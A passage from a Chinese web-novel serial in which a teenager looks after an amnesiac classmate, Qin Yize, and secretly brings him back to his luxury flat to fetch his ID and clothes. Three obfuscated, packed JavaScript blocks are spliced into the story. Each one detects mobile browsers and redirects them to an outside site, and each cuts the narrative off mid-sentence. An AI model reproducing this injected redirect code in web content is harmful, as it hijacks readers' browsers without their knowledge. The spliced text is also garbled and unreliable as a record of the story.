小辉扭头看他,昂起小下巴哼一声:“什么你的椅子?你来之前,这个椅子一直是我坐的!” “你坐的就是你的了吗?”秦一泽很有逻辑,“我是哥哥的弟弟,这个椅子是他家的,所以也是我的。” 好像是这么个道理?小辉郁闷地思索一会儿,不情不愿地跳下来,去角落里捡了个小凳子坐。 拿回自己的座位,顺便宣誓了主权,假小孩颇为得意,坐在椅子上挑眼斜他。小辉不服气地鼓着腮帮子,质疑道:“你说你是小峻哥的弟弟,可我怎么从来没见过你?” “你才多大?”秦一泽不屑一顾,“你这么小一点,说不定我在你出生之前回来过呢?” “我不小!”小家伙好像被戳到痛处,立即站起身,扎起两个小拳头:“我马上七岁了!九月份就上小学了!” “那又怎么样?”秦一泽奚落地笑,“你只有我一半高呢。” “我很快就会长高了!” 两个人吵吵嚷嚷的,严峻训练回来,老远就听见了动静。他在门口停下车,见秦一泽老神在在地靠在椅子上,双臂环胸,面色轻蔑,活脱脱一个欺负小孩的坏哥哥:“小树,你欺负小辉干什么?” 秦一泽还没说话呢,小辉就红着眼睛冲出来告状:“小峻哥!他,他笑我矮!” 严峻训练得一身汗,现在又被小孩儿抱住腿,整个人热坏了:“那你确实矮嘛——不过没事,以后会长高的。” “我不矮,我不矮!”遭遇两连击,小辉的眼泪彻底包不住了,气得大哭起来。秦一泽顿时乐弯了眼,开心地趴在柜台上跟严峻打招呼:“哥哥,你回来啦!” “嗯。”头疼地卸下背包,严峻累得不行,偏偏还要断这两个小孩儿之间的官司……看着悲伤的小辉,他精疲力尽地叹口气,妥协道:“好了好了,不哭了,我拿个牛肉馅饼给你吃!” 小辉抽抽搭搭地停下来:“真的?” “真的真的……”严峻拖着腿走向厨房。这下,不高兴的变成秦一泽了:那可是今天早上哥哥特意留下来,说给他当夜宵的牛肉馅饼啊!怎么拿来哄别人了!? 一共留了两个馅饼,严峻拿了一个出来,正要递给小辉。抬眼注意到这小子指甲黑黑的,他把饼一收,板起脸道:“指甲这么长、这么脏,怎么也不剪?” 小辉局促地缩回手,左右张望一会儿,见收音机旁边放着个指甲钳,便拿过来要剪指甲。 他笨手笨脚的,连口子都对不准。严峻拧着眉把饼放到一旁,拿过指甲钳,蹲下身把他圈住:“……别动,手张开。” “咔哒、咔哒”的声音逐渐响起,回荡在小店里。秦一泽看着哥哥大汗淋漓地单膝跪地,搂着别的孩子剪指甲,末了又带他去洗手,让他拿着自己的牛肉馅饼回家……假小孩愤懑地鼓起嘴,一扭头跑到了阁楼上。 10. 他一个人住吗? 送走小辉,严峻精疲力尽地站起身,把指甲钳放回去。阿婆笑眯眯地看着他,指着空了一半的柜台,炫耀道:“小峻,你看!小树这一下午帮我卖掉好多东西啊!” 严峻这才注意到铁盒里满满当当的纸币:“卖这么快!” 看来过几天得再进一次货了。 扭头正想问秦一泽他是怎么卖货的,这人却没影了。严峻狐疑地走到楼梯口,仰头唤他:“小树?” 阁楼里发出一阵窸窣声,好像是有人窝到了床上。 不明所以,他拽一拽汗腻的运动服,扭头去洗澡。 夏天太热,严峻习惯洗冷水,顺便还能省燃气费。他酣畅淋漓地洗了个冷水澡,用柠檬味香皂把汗腻通通洗刷掉,皮肤终于得以顺畅呼吸。可转过身拽浴巾时,他才发现,自己忘了拿换洗衣服进来。 把卫生间的门打开一条缝,严峻朝阁楼喊:“小树,帮我拿一套衣裤下来!” 楼上没有动静。 “小树!”严峻疑心他睡着了,“别睡了,待会儿就吃晚饭了!” 楼上这才窸窸窣窣地起身,磨蹭一阵之后,“咚咚”脚步声朝楼梯走来。 在门里烦躁地等着衣服,那阵脚步走到门口两米处,轻轻停下。严峻从门缝伸出手,晃一晃,却迟迟没有东西递到手上。他不禁恼了,气道:“严肃,你搞什么?!” “你为什么把我的牛肉馅饼给小辉吃?”假小孩理气直壮地这样质问。 严峻错愕地语塞一秒:“那谁让你把他惹哭的?” “是他抢我的椅子在先!”秦一泽很有道理,“他还说他来得比我早,说以前没见过我!” ……那人家也没说错嘛。严峻祼着身站在卫生间里,暗暗头疼:“你就让他说呗,又不会少一块肉。” 这下秦一泽更委屈了:“究竟谁是你弟弟啊!严峻,你怎么胳膊肘往外拐!” 嘿这个臭小子!严峻气得眉毛倒竖:“你叫我什么?!你想挨揍啊!……快点把衣服给我!” 下一秒,门扇被秦一泽用力推开,掀起一阵风。严峻“卧槽”一声,赶忙捂住私密处。这人气鼓鼓地站在门外,桃花眼往他覆盖着薄薄肌肉的上半身瞟一圈,“哼”一声把衣裤砸进来,扭头便走。 ……真是翻了天了! - 一会儿做好了饭,这人鼻子不是鼻子、眼睛不是眼睛的,吃得挑挑拣拣,把辣椒全丢出来,碗底剩着全是胡萝卜。 严峻懒得哄他——假小孩又不是真小孩,更不是我的小孩。他爱赌气就气去,老子以前也被他气得不轻呢! 心里轻哼一声,瞥眼见秦一泽又把西芹挑出来不吃。严峻终究是没忍住,用筷子在他碗边用力一敲,斥道:“不准挑食!你再挑食,我把剩下那个饼也送给小辉!” 秦一泽颔着下巴,委屈地撅撅嘴,只得把胡萝卜和西芹一点点吃掉。 晚上八点半,严峻在厨房备好了第二天早上的馅儿,盖上保鲜膜放进冰箱。隔层里摆着个小盘子,里头孤零零一个牛肉馅饼,显然不够两个高中男生当宵夜。 纠结地注视一会儿,严峻心想,这臭小子,气性还挺大……可别耽误了身体恢复。犹豫半晌,还是架锅上灶,给他炒了一碗蛋炒饭。 “喏!”五分钟后,香喷喷、热腾腾的蛋炒饭摆到书桌上,这个蜷缩在床角的臭小子终于抬起头,眼神从抗拒变成闪闪发亮:“给我的?” “不然呢?!”严峻抓着馅饼用力地啃,另一只手撑着膝盖,眼神嫌弃。秦一泽终于高兴了,爬到床边捧起饭碗,饥肠辘辘地用力嗅闻一阵,喜笑颜开:“就知道哥哥最好了!” 严峻翻个白眼,轻轻“哼”了一声。 吃饱喝足,他靠到床头,摸出手机准备打一两把排位。袁思齐见他上线,很是惊喜:“老大,你终于出现了!明天要不要去网吧,咱们一起玩游戏!” 严峻瞥一眼身旁拿着他的旧游戏机正研究俄罗斯方块的假小孩,犹豫几秒,还是拒绝了小弟的邀请:“不去。我们夏训开始了,练完累得要命,只想休息。” “那我去学校找你玩!” “……随你便。” 这时,左边胳膊突然被碰了一下。秦一泽丢开小游戏机,把十个手指头伸到他面前来,直勾勾地看着他道:“哥哥,我的指甲好像也有点脏。” “嗯?”严峻板着脸垂眸望去,只见修长的手指末端,白色的指甲干干净净,根本一点儿脏污都没有。 他嫌弃地斜过眼,没好气地瞪住秦一泽:“哪里脏,你跟我说哪里脏?” 假小孩眼珠子骨碌碌转一下,十指执着地伸着:“是不脏,但是有点长。” “……自己剪!”从桌上摸过指甲钳丢进他怀里,严峻翻个身,懒得跟他啰嗦。 这假小孩就在后头哼哼唧唧的,自己抓着剪子抿唇折腾。冷不丁“啊”一声,把严峻吓了个好歹:“怎么了,剪到肉了么?!” 秦一泽委屈巴拉地扁着嘴,把剪出血的食指伸到他面前:“好难剪啊!” “你……居然笨到这个地步!”严峻气坏了,一把拽过他的手,先用纸巾包住食指,止住血后再贴上创可贴。 大拇指已经被他剪得坑坑洼洼,但另外八个指头还没动。严峻只得拿起指甲钳,认命地给这个假小孩剪指甲:“我还以为你只是脑子退化了,没想到协调能力也退化了! 你怎么不变成婴儿算了,饭也要我喂?” 秦一泽抿着唇不吭声,就自顾自偷笑着,把下巴垫在哥哥的肩膀上,心里突然充满了优越感。 - 第二天清晨,这家伙伤了手,明明不能帮忙揉面,可偏要爬起来,拱到严峻身边,笑嘻嘻地提要求:“哥哥,我今天不想吃牛肉馅饼,你帮我烙两个韭菜鸡蛋饼好不好?” “干嘛,吃腻了?”严峻熟练地擀面切剂子。 “想吃点不一样的~” 给他烙了几个韭菜鸡蛋饼。去买菜时,他也要跟着一起去,自顾自爬上严峻的车子后座:“我也去!帮哥哥拎菜。” 严峻本想严词拒绝,但想到之前囤的食材吃光了,多带个苦力,就能多买点儿菜。他板着脸叮嘱一句“坐稳了”,脚下一蹬踏板,车子立即破开清晨冷凉的空气,驶入安静的夜色里。 秦一泽头一次这么早出门,不禁新奇地左右张望。他屈曲着两条长腿,踩在车子的后叉上,双手揪紧严峻的T恤下摆,快乐道:“怎么这么安静啊!” 严峻似笑非笑的声音从风里传来:“都还在睡觉呢,不安静才有鬼了。” 秦一泽突然感觉很满意,惬意地搂住他的腰:“真好,就我们起床了,现在整条街都是我们的!” 夜空之下,老旧的自行车载着两个少年在石板路上颠簸,发出“哐啷哐啷”的响声。严峻忍不住骂:“操,多带你一个,我这车都快散架了!” 秦一泽嘿嘿笑,半张脸都贴到他后背上:“那我就多卖点东西,争取帮哥哥买辆新车!” “我发现你还挺油嘴滑舌的……” “没有油嘴滑舌,我这是真心话~” 一会儿到了菜市场,摊主们见他带了个新面孔来,都惊讶地问:“哟!这是谁啊,长这么帅!” “我是他表弟!”秦一泽笑眯眯地答。严峻面无表情地接过各种食材,往他怀里堆:“牛肉,猪肉,拿好了……小心别勾到食指!” “哎!”秦一泽把受伤的食指翘起来,还不忘跟摊主说再见:“叔叔,我们走啦!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230591|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎,好!……这孩子,嘴真甜。” 买完了做包子馅儿的食材,还要买平常吃的菜。严峻照例是买许多辣椒,看得秦一泽又爱又怕:“哥哥,别买太辣的,一点点辣就好……” 哦?严峻斜眼睨着他,不为所动地抓了一大把红辣椒。 秦一泽可怜地扁了扁嘴。 付钱是刷二维码。只听“叮铃”一声,老板的手机开始播报:“微信收款,二十五元。” 秦一泽瞪大眼,拉住严峻的手腕猛摇一下:“哥哥,阿婆为什么不用这种收钱?” “阿婆年纪大了,人又糊涂,只会收纸币,这种东西她应付不来的。” 一手推车,一手拽着他走出菜市场,严峻跨上车座,示意他坐上来。两人就这么“哐啷哐啷”响着,满载一车食材,沿着石板路回了家。 - 秦一泽已经在他家住了一个星期。 在这一星期之中,没有人给秦一泽打电话,也没有人找他。只有一个叫“星武-杨教练”的人发来一条信息,问:明天下午我有空,你来上课吗? 严峻没敢回应。 下午去学校训练,他早到半个小时,去球场跟袁思齐他们打篮球——这小子每天都能邀来好几个同学,凑一场三打三。今天远远一瞅,居然来了个高个子?仔细看,操,是任言东! 远远看见他,袁思齐高兴地挥手打招呼:“老大!” 严峻走过去,朝着正练习扣篮的任言东一挑下巴,问他:“你什么时候跟任言东混熟的?” “就领成绩单那天呀!他不是来跟我们打篮球么,我就加他微信了。” “……哦。” 接过篮球,心不在焉地拍一拍。严峻发现林鹤不在,又问:“你没叫林鹤啊?” “叫了,他一开始说来,但后来又说有事,来不了。” 正聊着,一阵脚步从身后走过来,往严峻肩上一拍:“你们暑假也要训练啊,这么凶残?” 回头望,任言东大汗淋漓地笑着,俊容爽朗。严峻一看便觉得热,忍不住跟他一起走到树荫下纳凉:“要不然呢?正哥指望我们这帮体育生考上好学校呢,他能多拿点儿奖金。” “是吗?你们体育院校有985和211的分别吗?” “只有京城体大和申城体大是211,其他都是学院,顶多有个一流学科的名头。” “这么少!”任言东微微吃惊。 严峻瞥他一眼,心里突然想到什么,不动声色地一挑眉:“当然比不上你们——你们能选择的范围比我们大多了。像你这样的成绩,应该可以不用高考,直接保送吧?” “我啊,”任言东把篮球顶在指尖旋转,“我还是差了点儿,不过游心瑶确实是保送了Top1的K大。” “是吗。”严峻装作不以为意,“那那个秦一泽呢,他应该也保送了吧?” “他没有。”任言东只当他是闲聊,没怀疑什么,“他爸一直想把他弄国外去上学,不过他不大情愿,期末前还在吵呢。” “……他爸在国外吗?” “对啊。生意拓展,前年出去的,好久不回了。他一个人住在大房子里,倒是很方便朋友过去玩。” 一个人住……严峻眼底一亮,继续若无其事地打探:“大房子?他住哪儿啊,很豪华吗?” “咱们市最奢华的楼盘之一,星河水巷!他住那栋还是临河的,最顶层,景观绝佳!能不贵么?” 成功套出地址,严峻便“哦”一声,不再言语。倒是任言东想起什么,自言自语道:“说来也怪,他好几天没联系我了……不会去找他爸了吧?” 严峻装作没听见,抢过篮球小跑入场,稳稳地投了个三分。 11. 偷家 下午四点,体育张老师准时到达学校。严峻跟着他去后操场训练,任言东和袁思齐又打了一会儿球,转头买了根冰棍跑去围观。 炎炎夏日之下,只见十几个体育生整整齐齐地沿着跑道做专项训练。什么高抬腿跑啦、马克操啦、交叉步啦,一水儿的超短裤和大长腿,简直要晃花人的眼睛。 任言东津津有味地比较一会儿,歪头跟袁思齐评价:“严峻的腿最白!” 袁思齐莫名骄傲:“那是!我们老大的皮肤可好了,又细又白,晒都晒不黑!” 把任言东逗乐了:“不是,你骄傲什么?” 一系列练习结束后才是正式的跑步训练。这几人坐在观众席顶棚的阴影里,悠然自得地欣赏着严峻风一般的速度,不时还叫好几声:“严峻,加油!跑得真快!” 严峻气喘吁吁地抹一把汗,沿着跑道外侧走回起点,还记得狠狠瞪他们一眼:“球打完了,还待在这儿干嘛?!” 其他人不敢跟他呛,任言东却是没顾忌的:“欣赏一□□育健将的帅气身姿嘛!以前校运会,百米决赛你老是甩我好几米,我偷师不行吗?” 严峻鄙夷地斜着他:“你们火箭班的作业应该很多吧,写完了吗?” “没有。”任言东笑得没心没肺的,“写了一半,另外一半准备抄秦一泽的。” 严峻听得心里“咯噔”一声,叉着腰停下脚步:“那……你们的答案不就一样了吗?” “那就说明我俩都做对了呗!”任言东笑得轻松,“我们班的正确率挺高的,老师不会觉得奇怪。” ……操。严峻突然心乱如麻,凶狠地瞪他一眼:“那也不是你自己做的!哼,难怪才三十几名!”攥起拳头恼火地走远了。 任言东那个莫名其妙:“不是,他凶我干嘛?” 袁思齐同情地看着他:“我们老大就是这样的,你习惯就好了~” - 晚上六点,严峻又是一身汗腻回到家。家里安安静静的,只有阿婆在柜台里头听戏曲。他不禁愣了,楼上楼下地找秦一泽:“阿婆,小树呢?” “小树在隔壁,跟思嘉玩儿。” ……去隔壁了? 狐疑地找过去,杂货店柜台上果真露着半颗熟悉的脑袋。严峻走上前,正想用力拍——转念想起这小子的伤,力道瞬间卸了大半,变成不轻不重的揉搓:“你在这儿干嘛?” “哥哥!”秦一泽惊喜地抬起头,嘴里叼着红彤彤的半根辣条,“你回来了!” 吴思嘉坐在他边上,两人一起看动漫呢:“小峻哥~” 看见他俩手里一模一样的辣条,严峻失笑地又搓一下:“你不是吃不了辣吗?” “这个好吃!我慢慢吃,就不辣了~” 秦一泽笑眯眯的,两眼弯弯,看上去像只狐狸。严峻不知怎么的想起了任言东那个没心没肺的笑,以及他那一句“我抄秦一泽的作业就好啦~” 心下烦躁,他把脸一板,拧住这个假小孩的耳朵,把人拽回家:“行了,你少在这儿打扰人家,跟我回去——思嘉,以后他馋零食,你不用管他,就让他馋着!” “哦!”思嘉扒在柜台上目送他俩拉拉扯扯地离去,半晌傻笑出声:“可是小树哥真的好帅呀~养养眼也是好的嘛!” 把人抓回来,严峻终于可以放心洗澡。这小子好像有什么话想跟他说,举着半包辣条在卫生间门口不断徘徊:“哥哥~哥哥,你要吃辣条吗?” “不吃。” “哦。”假小孩安静一会儿,又问:“哥哥,你是不是很会炸油条呀?” 严峻穿上背心和大短裤,擦着头发打开门,伸手推开他:“你怎么知道我会炸油条?” 秦一泽满怀期待地跟在他身后,像一只甩着尾巴的大型犬:“刚才小辉又回不去家,过来坐了一会儿。他跟我炫耀,说以前你家不止卖包子和馅饼,还卖油条、豆浆、茶叶蛋,可多了!他还说,你炸的油条特别好吃,又松又脆,他一次能吃两根!……哥哥,现在怎么不炸了?” “现在就我一个人,怎么炸啊?”头发擦到半干,严峻把毛巾搭在肩膀上,转进厨房,准备做晚饭:“油锅一开就是百来块的油,要炸个三百根才能赚钱。我平常还要上课呢,哪有时间炸!” 吃油条的期望落空,秦一泽不甘地撇撇嘴,脊背一软倒在门框上,失望极了:“我好想吃啊……” 严峻“啧”一声,烧热锅把排骨倒进去,没再搭理他。 - 把第二天的馅料准备好之后,严峻又冲了个澡,随即拎着清晨做的韭菜鸡蛋馅饼上楼。 秦一泽正趴在床上,穿着他的篮球服玩俄罗斯方块。那个掌上游戏机已经十年了,是严峻老爸买给他的唯一礼物,质量不错,按键依旧灵敏。 严峻把饼放到桌上,道:“快吃,吃完睡觉。” 秦一泽心不在焉地嗯一声:“等会,我快到九万了。” ……嗯?! 立刻凑过去,严峻惊愕地发现,这假小孩居然把速度调到了最快那档,方块“哗哗哗”落得飞快! 不仅如此,他的分数只差500分就到九万了——要知道,自己当年最高分也就是九万! 操!严峻危机顿生,当即摁下“复位”键,分数瞬间清零。秦一泽“啊”地惨叫一声,抬起头控诉地看向他,委屈坏了:“哥哥,你干嘛呀!” 严峻板着脸,十分冷酷:“把夜宵送到嘴边你还磨磨蹭蹭,以后不用吃了!” 假小孩只能扁着嘴坐到床边,可怜巴巴地吃馅饼:“我好不容易才打到九万分的……” 严峻不理他,心里暗暗松口气。他三下五除二吃掉馅饼,抱着手机躺到床上——打开X度地图,输入今天任言东说的那个楼盘名字,星河水巷。眨眼之间,地图切换,画面定格在13公里之外。 ……就在外城河边上啊。 把小区放大,严峻企图按照任言东透露的讯息确定楼栋。可仔细一看,临河的楼栋足足有四栋……!他顿时犯了难。 想到聊天记录里也许有地址。严峻转头摸出秦一泽的苹果手机,点开他和任言东的聊天记录,搜索“栋”一类的字眼,却一无所获。再看日期——操,最早的聊天记录只到两个月前!想必是换新手机之后,没有把之前的记录迁移过来。 这该死的有钱人!严峻忍不住狠狠剜了身侧的假小孩一眼。 看来,只能用钥匙上的门禁牌一栋一栋地试过去了。 琢磨着明天早上去秦一泽家把他的身份证找出来,日后方便去医院检查。顺便再拿些衣服鞋袜、日用品什么的,省得他天天穿自己的衣服…… 还有,看看他家里有没有什么“线索”:如果他爸妈真的要他下学期出国……那么,留给自己的时间可不多了。 心浮气躁地放下手机,一把牙刷伸到自己面前,刷头上已然挤好了牙膏——秦一泽刷过牙,顺便把水杯和牙刷帮他拿了上来:“哥哥,刷牙睡觉。” 严峻一怔,犹豫地接过,心里莫名悻悻的:“小树,你……你头还疼吗,能不能想起以前的事?” 摸摸额角那个已经恢复平整的伤口,假小孩试图回想,但脑子里还是一片空白:“想不起来耶。” 他不以为意地摇摇头,滚到床上抱住被子,露出坏笑:“不记得才好呢。这样我就可以不回家啦,一直住在哥哥这里~” “……滚,你怎么可能不回家?”瞪他一眼,严峻刷着牙,眼帘逐渐落下,若有所思。 - 第二天早上十点,严峻迷迷糊糊睁开眼,就感觉腰上横着一只手——秦一泽的胳膊从身后环过来,热乎乎地抱着,像只考拉似的。 烦躁地“啧”一声,他刚要把人推开,可身子一动,却好像碰到了一个硬邦邦的东西? ……卧槽! 猛地跳起来,严峻脸上红一阵白一阵,忍不住把被子往他身上一砸:“还睡,起床了!” “嗯……?”秦一泽茫然坐起身,裤子鼓起一块, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16230592|181761||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良久才平息:“吃午饭了吗?” “吃个屁!”他气急败坏地冲下楼,半晌拧上来一块湿毛巾,精准地丢到秦一泽脸上:“擦脸,我带你出去!” “去哪里呀?”假小孩捧着毛巾擦脸,头发乱得像个鸡毛掸子似的。严峻瞅见一撮呆毛晃来晃去,忍不住用力摁下去:“跟我走就是了,问这么多!” 半个钟后,两人乘坐的士到达星河水苑门口。 看着面前仿古的奢华大门,严峻默默咽一口唾沫,掌心控制不住地沁出了汗。他伸手抓住秦一泽的手腕,定定心神,稳步朝小区大门走去——恰好有人进门。只见对方把脸面向一块屏幕,两秒以后,人行道闸便升了起来。 看来大门的门禁是人脸识别。 秦一泽头上戴着他的鸭舌帽,一路上好奇地东张西望,总觉得这地方有种莫名的熟悉感。不一会儿,严峻唤他一声:“小树,你看那里——” 他抬头望去,见一方不大的屏幕上映着自己的脸,随即“滴”一声,大门打开。这时,门卫在窗户里抬起眼,望向他们。秦一泽刚想打个招呼,就被严峻用力拽了进去。 “哥哥,”走到小区里面,秦一泽感觉更加熟悉了:“那条廊子尽头是一个池子,里面有假山。” 严峻望向他,惊讶过后是立刻错开眼的心慌意乱:“……是吗。” 沿着林荫路走向临河的四栋楼,严峻看着眼前高阔的大平层,手中攥紧那串钥匙,默默踌躇了两秒。 秦一泽也抬眼打量着,突然抬手指向隔壁:“哥哥,不是这一栋。” “不是?”将信将疑地走到隔壁,严峻轻轻一刷门禁卡,“滴”一声,玻璃门应声打开。 秦一泽熟稔地走进去,站在电梯面前,回首招一招:“哥哥,进来呀。” 穿着旧篮球服的少年身处富丽堂皇的大厅中,与四周的装潢格格不入——又或者说,是那套篮球服与他们格格不入。严俊注视着他坦然的俊容,眉心无法松懈,紧拧着走了进去。 听任言东说,秦一泽的家住在顶层——那就是20层。这一次假小孩倒是没有动静,站在电梯里无辜地望着他:“哥哥,我们去哪一层。” 严峻狐疑地瞥他一眼,伸手摁下“20”键。 这几栋好像都是一梯一户的格局,电梯一出去就是宽阔的门厅。看见满墙的鞋柜,和齐平窗台的置物柜,严峻一走出电梯,全身就不由自主地绷紧了。 他小心翼翼地打量着眼前的事物,从鞋柜到大门,从角落里放着的篮球,再到地毯上摆着的运动鞋——其中一双是阿迪去年出的限量款,林鹤买了红色的,价值不菲。 边上还有一双休闲鞋,不知道是什么牌子,看起来也很贵。 严峻忍不住斜秦一泽一眼,心里哼了一声。 大门是密码锁门,也有指纹面板。他抓过假小孩的右手大拇指往上一摁——居然说指纹输入错误?! 秦一泽眨着眼睛凑过来:“哥哥,我都是用左手拿筷子的耶。” “……是吗,我没注意。”莫名有些心虚,严峻拽过他的左手摁上去——这回对了,门锁“咔哒”一声弹开,大门露出一条缝隙。两人不约而同地凑到门缝上,轻轻推开门,一间宽大整洁的客厅顿时出现在眼前。 白色与冷灰色充斥着整个空间,令人无端感觉清冷、淡漠,仿佛密不透风的冰窖。落地窗的窗帘拉得严严实实,透不进一丝光线。屋里只有感应灯的冷白,一丝暖色也无。 地板是冷灰的大理石,地毯是白色的,墙漆也是白色的,连沙发都是沉默的深黑。严峻环顾一周,半晌才看到小沙发上放着一个旧旧的黄色笑脸抱枕——这大概是整间房里唯一的彩色。 “也太单调了吧。”他不禁感叹。 秦一泽四处逛着,一副兴致缺缺的模样,还问呢:“哥哥,这是我家吗,为什么我可以开锁?” “呃,这是……”正准备撒谎糊弄过去,这时,大门响起轻轻的“咔嗒”声,有人走了进来—— 12. 大扫荡 听到开门声的一刹那,严峻就像一只面临威胁的猫,浑身肌肉紧缩,身体猛地转向大门——如果皮肤上有毛发,他此时已经炸成毛球了。 秦一泽倒是毫无反应。这假小孩淡定得很,正呆站在沙发前,歪头注视着那个老旧的黄色笑脸抱枕。 一个身着茶褐色清洁制服的中年女性从门后出现,手里拿着打扫工具。看见二人,她愣了一下,随即露出生疏的笑容:“小帅哥,好久没碰到你了——今天带同学回来玩呀?” 严峻汗都下来了,双手在身后攥成拳头,面颊紧绷地看看她、又看看秦一泽。这假小孩依旧一副事不关己的样子,茫然地抬头望向自己,那眼神好像在说,“哥哥,你怎么不理人家?” 那瞬间,严峻鬼使神差地“嗯”了一声,扭脸注视着钟点工,面颊依旧是紧绷绷的:“过、过来玩一会儿。” 清洁阿姨笑着点点头,拎着桶走向卫生间,不再打扰。严峻终于松一口气,伸手扶住沙发,差点儿坐了下去。 秦一泽这会儿把那个抱枕搂在怀里,一边揉捏一边到处逛:“哥哥,这是我的房子吗?” 生怕清洁工听到他的话,严峻推着秦一泽随便走进一间房,关上门,随口搪塞:“呃……是。你爸妈以前买的,但前阵子他们做生意失败,这间房就抵押了出去。不过你有很多东西还放在这里,我今天就是带你回来拿衣服的。” “哦。”秦一泽深信不疑,在这间书房似的屋子里随意转悠:“架子上好多书呀,都是我的吗?” “应该是吧。”严峻四下打量一圈,注意到书桌上放着许多练习册、卷子、习题集。他打开放在最上面的文件夹,见里面厚厚一沓,全是模拟试卷!其中前三张已经写完了,其他还是空的——这不会就是火箭班的暑假作业吧? 也不知道以他现在的智商,还会不会做……严峻犹豫地注视一瞬,半晌还是合上文件夹,放了回去。 转完了书房,严峻鬼鬼祟祟地打开门,见清洁阿姨正在客厅专心地擦拭家具。他便拽着秦一泽,悄悄地钻进了另一间房里。 里面全是各式各样的健身器材。 看着那些哑铃、龙门架、跑步机,严峻忍不住恶狠狠地瞪向满脸懵懂的秦一泽:神经病啊,才高中就开始健身,不想长高了吗?! 不过看看这家伙比自己略高一些的身材……好像有184,似乎也够用了。他不甘心地瞪着眼,又伸手去捏秦一泽的胳膊——厚厚的,硬邦邦的!简直是莫名其妙! 假小孩被他捏得嘻嘻笑,抬手格挡:“哥哥,干嘛呀,痒!” 严峻面色凶狠,还想确认一下胸口。没想到秦一泽突然伸出双手,在他两边胸膛用力揉了一下:“你挠我,我也挠你!” ……卧槽! 胸肌残留着被人揉捏的触感,严峻从未遭受过如此屈辱,脸上红一阵白一阵,扑上去狠狠拧他的耳朵:“不——准——碰——我!知不知道!” 假小孩“嗷”地痛嚎了一声。 就这么一连搜查了四个房,把主卧以外的房间全都翻了一遍,还是没有找到秦一泽的卧室。严峻不得不把视线投向走廊尽头那扇门:难不成……他真的住主卧? 狐疑地走上前,打开门,只一眼,他就确定了这个房间的归属——床边的小沙发上搭着一件眼熟的蓝白黄三色外套,正是他们复兴二中的校服。看来,这个房间确实是秦一泽的。 ……他爸妈,居然放心他一个人住。 心里不禁生出诸多猜测,严峻忍不住回头望向秦一泽,欲言又止。 这假小孩正在不紧不慢地翻衣柜,一副悠然模样。不一会儿,他拽出一套白色篮球服,兴奋地喊:“哥哥,这套衣服跟你那套很像耶!” 严峻走过去,想起鞋柜角落里摆着的那个篮球——看来,任言东说他篮球打得不错,确实不假。 “你看中哪套衣服就拿出来吧,不然老说我的衣服窄。”琢磨着这假小孩的身份证还没找到,严峻背着手走到床边,拉开床头柜仔细翻找。不一会儿,居然真的被他在一个厚厚的卡包里找到了。 银行卡、校园卡、身份证,整整齐齐,顺次排列。严峻抽出身份证,看着上面那张微笑的帅脸:跟现在相差无几的发型,大同小异的脸庞,看来是不久前刚办的。 再看出生日期:12月29日,还真比自己小一个多月!呵,你叫我“哥哥”,我可没有占你便宜。 把身份证收好,正要放下卡包,严峻注意到抽屉底部放着一本册子。标题是英文的,封面印着一所美丽古朴的学校,红砖建筑上爬着绿油油的爬山虎,像是国外的什么贵族中学。 ……这难道就是他出国后要念的高中? 打开内页,里面果然是学校的简介,只不过是全英文的,严峻看不大懂。抽屉里还有秦一泽的在读证明和成绩单,中英双语,盖了复兴二中的章子。 再往下翻,是全英文的申请表格,内容全部填写、打印好了,只不过……秦一泽没有签字。 看着这些资料,严峻拧起眉,心中愈发不安——资料这么齐全,仿佛万事俱备,只欠东风。这样看来,即使他家长目前不在国内,过不了多久也会回来找他。 到时候看见儿子变成这副小孩儿心性,还忘了他们……严峻脸上不禁露出绝望的表情:秦一泽,你什么时候才能康复啊!!! 浑浑噩噩地把那些资料放进抽屉里,严峻失魂落魄地坐到床边,脑子一片混乱。这时,秦一泽拿着什么东西走了过来,递到他面前:“哥哥,这是我爸爸妈妈,对吗?” 一个长方形相框映入眼帘,里面是一张全家福照片。秦一泽约莫六、七岁,戴着个尖顶小帽子,小脸笑得开怀。一个双层生日蛋糕摆在他面前,彩色蜡烛零零散散地丢在一旁,已经燃了小半。 一男一女身着家居服,分坐在他两侧,姿态亲昵、笑容和煦,应该是他的父母。四周的背景不像是这套房子,略显局促一些,但也颇为豪华。相片右下角有一行字,写着“小泽七岁生日纪念”。 假小孩没骨头似的靠在哥哥肩膀上,这时又问一句:“这是我爸爸妈妈吧?” “……嗯,是。”严峻搪塞他,“你在哪里找到的?” “那边的床头柜。”秦一泽指指床铺另一侧,“里面空空的,只放了这张相片。” “是吗。”严峻垂着眸子,那瞬间似乎明白了什么:他的父母大概率是离婚了。不然,如此恩爱的夫妻,不可能丢孩子一个人生活的。他们也许各自组成了新的家庭、有了新的小孩,才会不约而同地忽略了秦一泽。 忍不住伸手揉一揉假小孩的头发,严峻把相框递过去,低声问:“你要拿走吗?” “嗯,拿走吧。”秦一泽回答得很干脆,“这房子都不是我的了,放在这里肯定会被丢掉的。” 他把相册小心地搂进怀里,跟那个黄色笑脸抱枕一起,满脸轻松:“哥哥,我们回去吧!我饿了。” “嗯,好。”在衣柜里找了个行李包,装上满满当当的衣服鞋袜、严峻小心翼翼地拉着秦一泽走出去,正好撞见清洁阿姨在清理厨房的冰箱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 